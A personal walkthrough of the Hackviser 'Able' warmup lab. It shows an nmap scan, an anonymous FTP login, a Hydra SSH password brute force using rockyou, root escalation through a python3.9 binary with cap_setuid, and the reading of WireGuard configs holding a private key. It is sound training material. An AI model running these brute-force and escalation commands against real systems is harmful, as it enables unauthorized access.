Warmup Able:Hackviser

- The explanation of this warmup is:
- Brute-force is one of the methods of password cracking and aims to find the correct answer by systematically trying all possible combinations.
- Recommended for practicing SSH and FTP services, brute-force attacks and privilege escalation techniques.

- I just have an ip address at the moment
- Let’s start

1- What is the name of the file in FTP?

- Firstly let’s start a nmap scan to see which ports are open and which services are running

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nmap -sV 172.20.9.156
Starting Nmap 7.95 ( https://nmap.org ) at 2026-04-27 17:37 EDT
Nmap scan report for 172.20.9.156
Host is up (0.10s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.3
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u2 (protocol 2.0)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 2.22 seconds
```

- 21 ftp and 22 ssh ports are open
- So the question asks about the name of the file in ftp
- But I don’t have any credentials to login to ftp

- So let’s try default credentials to login ftp

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ftp 172.20.9.156
Connected to 172.20.9.156.
220 (vsFTPd 3.0.3)
Name (172.20.9.156:kali): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp>
```

- Easy peasy
- I said my name is anonymous and I didn’t write any password then booomm I’m inside
- Let’s learn the name of the file

```
ftp> ls
229 Entering Extended Passive Mode (|||49766|)
150 Here comes the directory listing.
-rw-r--r--    1 0        1002         1499 Oct 24  2023 readme
226 Directory send OK.
ftp>
```

- The name of the file is readme

2- What is the username in the readme file that was accidentally leaked?

- Let’s take that readme file to my computer to be able to read it

```
ftp> get readme
local: readme remote: readme
229 Entering Extended Passive Mode (|||38140|)
150 Opening BINARY mode data connection for readme (1499 bytes).
100% |***********************************************************************************************************|  1499       16.06 MiB/s    00:00 ETA
226 Transfer complete.
1499 bytes received in 00:00 (12.85 KiB/s)
ftp>
```

- I took the file to my computer let’s read it

```
Notes:
-----
- Always ensure you are connecting via a secure network.
- Do not share any sensitive information or files outside of this FTP.
- If you encounter any issues, please report to the system admin team immediately.

Additionally, for those who've been working on user configurations, remember to review and delete any config backup files. Some, like "ronald.config.backup",
 were inadvertently left in the /docs directory during recent maintenance.

Thank you,
Element17 Solutions System Admin Team
```

- The username is ronald

3- What is the group of readme file?

- I couldn’t find anything in ftp server
- So let’s try to connect to the ssh service but I don’t have any username or password
- So we are gonna use brute-force
- Actually I thought maybe I know a username
- Ronald can our username to connect to the ssh service
- Yeah I found a password for user ronald

```
┌──(kali㉿kali)-[~/Downloads]
└─$ hydra -l ronald -P /usr/share/wordlists/rockyou.txt ssh://172.20.9.156
Hydra v9.6 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-
binding, these ***  ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2026-04-27 17:53:04
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://172.20.9.156:22/
[STATUS] 201.00 tries/min, 201 tries in 00:01h, 14344200 to do in 1189:25h, 14 active
[22][ssh] host: 172.20.9.156   login: ronald   password: zxcvbnm
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 2 final worker threads did not complete until end.
[ERROR] 2 targets did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2026-04-27 17:54:28
```

- Let’s try to connect

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ssh ronald@172.20.9.156
The authenticity of host '172.20.9.156 (172.20.9.156)' can't be established.
ED25519 key fingerprint is: SHA256:w176DqEqFUKhY0IBMuZbDqJfSUQV/x4g0+xRF6KKavU
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '172.20.9.156' (ED25519) to the list of known hosts.
** WARNING: connection is not using a post-quantum key exchange algorithm.
** This session may be vulnerable to "store now, decrypt later" attacks.
** The server may need to be upgraded. See https://openssh.com/pq.html
ronald@172.20.9.156's password:
Linux debian 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
ronald@debian:~$
```

- Yeah we are inside ssh server
- Let’s look for the answer of the question
- I reliaized something
- While I’m trying to open the files to find the answer of the question I’m not able to read some of the files
- So then I started to look for some clues about privilege esclation
- Then I found this information then I started to talk with gemini about it

```
ronald@debian:/$ uname -a
Linux debian 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64 GNU/Linux
```

- Then I found this information

```
ronald@debian:/$ /sbin/getcap -r / 2>/dev/null
/usr/bin/ping cap_net_raw=ep
/usr/bin/python3.9 cap_setuid=ep
```

- And Yeah

```
ronald@debian:/$ python3.9 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@debian:/# ls
backups  boot     dev   etc   initrd.img      lib    lib64   logs        media  opt   root  sbin  sys  tools  var      vmlinuz.old
bin      configs  docs  home  initrd.img.old  lib32  libx32  lost+found  mnt    proc  run   srv   tmp  usr    vmlinuz
root@debian:/#
```

- I'm a root user.I can do whatever I want at the moment
- Let's find the readme file and learn the group name of it

```
root@debian:/# find / -name "*readme*" 2>/dev/null
/var/ftp/readme
/usr/share/mime/text/x-readme.xml
```

- I found the location of the file

```
root@debian:/var/ftp# ls -ltr
total 4
-rw-r--r-- 1 root sysadmins 1499 Oct 24  2023 readme
```

- The answer of the question is sysadmins

4- In which directory path are the other files with the sysadmins group?

- Let’s start a system wide search

```
root@debian:/# find / -group sysadmins 2>/dev/null
/var/ftp/readme
/configs/admin.vpn.wg.conf
/configs/jack.vpn.wg.conf
/configs/carlos.vpn.wg.conf
```

- The answer of the question is /configs

5- What is the file path of the getcap command?

- I used whereis command to find the path of the getcap command

```
root@debian:/# whereis getcap
getcap: /usr/sbin/getcap /usr/share/man/man8/getcap.8.gz
```

6- What is admin's IP address in the VPN?

- I found those files in the /configs directory

```
root@debian:/configs# ls
admin.vpn.wg.conf  carlos.vpn.wg.conf  jack.vpn.wg.conf
```

- Let’s look to the admin.vpn.wg.conf file

```
root@debian:/configs# cat admin.vpn.wg.conf
[Interface]
Address = 10.0.0.2/24
ListenPort = 51820
PrivateKey = IEj+WblH9mGbrII+/Y3sQeyAWU9wCy0sb9swxTPrT2I=

[Peer]
PublicKey = r2l51pxxvF6Tf6sBAeLayJV4C/EobmHeituqvU0VHkE=
AllowedIPs = 0.0.0.0/0, ::/0
Endpoint = element17.hv:51820
```

- Yeah I found the answer